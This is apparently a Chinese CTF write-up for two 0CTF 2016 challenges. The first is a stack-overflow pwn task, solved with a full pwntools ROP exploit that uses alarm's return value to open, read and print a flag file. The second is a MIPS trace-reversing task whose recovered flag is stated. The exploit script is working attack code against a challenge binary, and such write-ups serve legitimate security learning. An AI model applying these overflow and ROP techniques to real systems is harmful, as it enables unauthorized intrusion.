zoukankan      html  css  js  c++  java
  • 0ctf-pwn_warmup-re_mips4

    Warmup(2)

        程序很小,读写操作直接通过int 80h系统调用完成。栈溢出漏洞很明显,能溢出20字节。提示由于沙盒的保护只能来读取/home/warmup/flag文件。那么思路就很清楚了,打开flag文件,读取flag文件到内存,写内存到标准输出。现在遇到了第一个问题,打开文件的系统调用是5,系统调用号要放在eax中,如何得到这个系统调用号以及如何得到后要立马执行系统调用打开文件,读文件到内存。

        最初想的是sys_read会返回读取的字节数,sys_write会返回写的字节数,我们可以控制读写的字节数为5那么读写返回后eax就是5了,这个时候立马返回去读文件,但是发现并不能,栈的结构不对。

        最后查了下alarm的返回值,发现如果连续两次调用alarm的话,第二次alarm返回第一次订的闹钟剩余的时间,因为程序执行时间很短,如果第一次alarm(5)的话,第二次alarm返回值将是5,成功得到系统调用号。这个时候就可以打开文件,并能控制返回地址到程序的开始,这样再溢出一次能读到flag,再最后一次溢出能写flag到标准输出,就能得到flag了。

      exp version 2:

     1 from pwn import *
     2 import time
     3 context.log_level = 'debug'
     4 s = remote('127.0.0.1', 10001)
     5 #s = remote('202.120.7.207', 52608)
     6 
     7 '''
     8 time.sleep(1)
     9 print 'warmup pid is %d' % pwnlib.util.proc.pidof('warmup')[0]
    10 raw_input('go!')
    11 '''
    12 
    13 read = 0x0804811D
    14 write = 0x08048135
    15 start = 0x080480D8
    16 f = 0x08049200
    17 tmp = 0x08049240
    18 flag = 0x08049300
    19 stackinc = 0x080481B8
    20 openf = 0x08048122
    21 
    22 s.recvuntil('Welcome to 0CTF 2016!
    ')
    23 s.send('a'*32 + p32(read) + p32(start) + p32(0) + p32(f) + p32(20))
    24 s.send('/home/warmup/flagx00')
    25 
    26 s.recvuntil('Welcome to 0CTF 2016!
    ')
    27 s.send('a'*32 + p32(start))
    28 s.recvuntil('Welcome to 0CTF 2016!
    ')
    29 s.send('a'*32 + p32(start) + p32(0))
    30 s.recvuntil('Welcome to 0CTF 2016!
    ')
    31 s.send('a'*32 + p32(start) + p32(0) + p32(openf) + p32(start) + p32(f))
    32 s.recvuntil('Welcome to 0CTF 2016!
    ')
    33 s.send('a'*32 + p32(start))
    34 s.recvuntil('Welcome to 0CTF 2016!
    ')
    35 s.send('a'*32 + p32(start))
    36 s.recvuntil('Welcome to 0CTF 2016!
    ')
    37 s.send('a'*32 + p32(read) + p32(stackinc) + p32(0) + p32(tmp) + p32(20))
    38 s.send('aaaaa')
    39 
    40 s.recvuntil('Welcome to 0CTF 2016!
    ')
    41 s.send('a'*32 + p32(read) + p32(start) + p32(3) + p32(flag) + p32(30))
    42 s.recvuntil('Welcome to 0CTF 2016!
    ')
    43 s.send('a'*32 + p32(write) + p32(start) + p32(1) + p32(flag) + p32(30))
    44 s.interactive()

    Trace(4)

        一道mips的逆向题,给的tracelog,刚开始没仔细看汇编,一直想办法模拟执行这些代码,也尝试去查了查Unicorn使用方法,感觉很强大,但是并没有用,感觉Unicorn更像是给了shellcode后模拟执行shellcode的。

        一直想知道这个tracelog使用什么生成的,看着别扭(像是intel风格的汇编),谁能告诉我?虽然没接触过mips汇编,但是查了下函数调用约定,就是想看看各个寄存器的作用,以及函数prologue和epilogue的样子,拿着一份mips指令集手册就开始分析代码,看了大概1000多行(其实很快因为大段的在循环),看到代码里面有重复调用一个函数,就决定根据函数prologue和epilogue的样子来分析下这里面总共有多少函数,每个函数的地址空间,每个函数调用了多少次。分析结果发现:2万多行的代码里,总共有3个函数,其中一个函数递归调用了131次。

        地址空间0x004007d0-0x0040084c是一个函数总共调用了一次,作用是初始化内存,形成a-zA-Z0-9{}flag连续内存;地址空间0x00400858-0x004009c8是一个函数调用了131次,而且是在递归调用,分析后是在对前面形成的内存中的字符进行了排序;地址空间

    0x00400770-0x004007c4是一个函数,是strlen()的实现,调用了三次。

        在分析完0x00400858-0x004009c8是在递归地对内存字符中进行递归排序后,就打算根据tracelog模拟整个排序过程,模拟完的结果:

        在里面'f1'代表flag的第一位,'f2'代表flag的第二位,一次类推。其实这个时候已经李最后的flag已经很近了,在主函数的最后,判断了排序好的各个字节之间的关系,我也模拟了一遍。

        这下好了,就能确定每一个字节的内容了,flag就是:0ctf{tr135m1k5l96551s9l5r}

        代码太丑,就不贴了。

    附:

    Mips指令集参考:http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html

    Mips寄存器:

    Mips Prologue and epilogue

  • 相关阅读:
    HDU 3951 (博弈) Coin Game
    HDU 3863 (博弈) No Gambling
    HDU 3544 (不平等博弈) Alice's Game
    POJ 3225 (线段树 区间更新) Help with Intervals
    POJ 2528 (线段树 离散化) Mayor's posters
    POJ 3468 (线段树 区间增减) A Simple Problem with Integers
    HDU 1698 (线段树 区间更新) Just a Hook
    POJ (线段树) Who Gets the Most Candies?
    POJ 2828 (线段树 单点更新) Buy Tickets
    HDU 2795 (线段树 单点更新) Billboard
  • 原文地址:https://www.cnblogs.com/wangaohui/p/5275791.html
Copyright © 2011-2022 走看看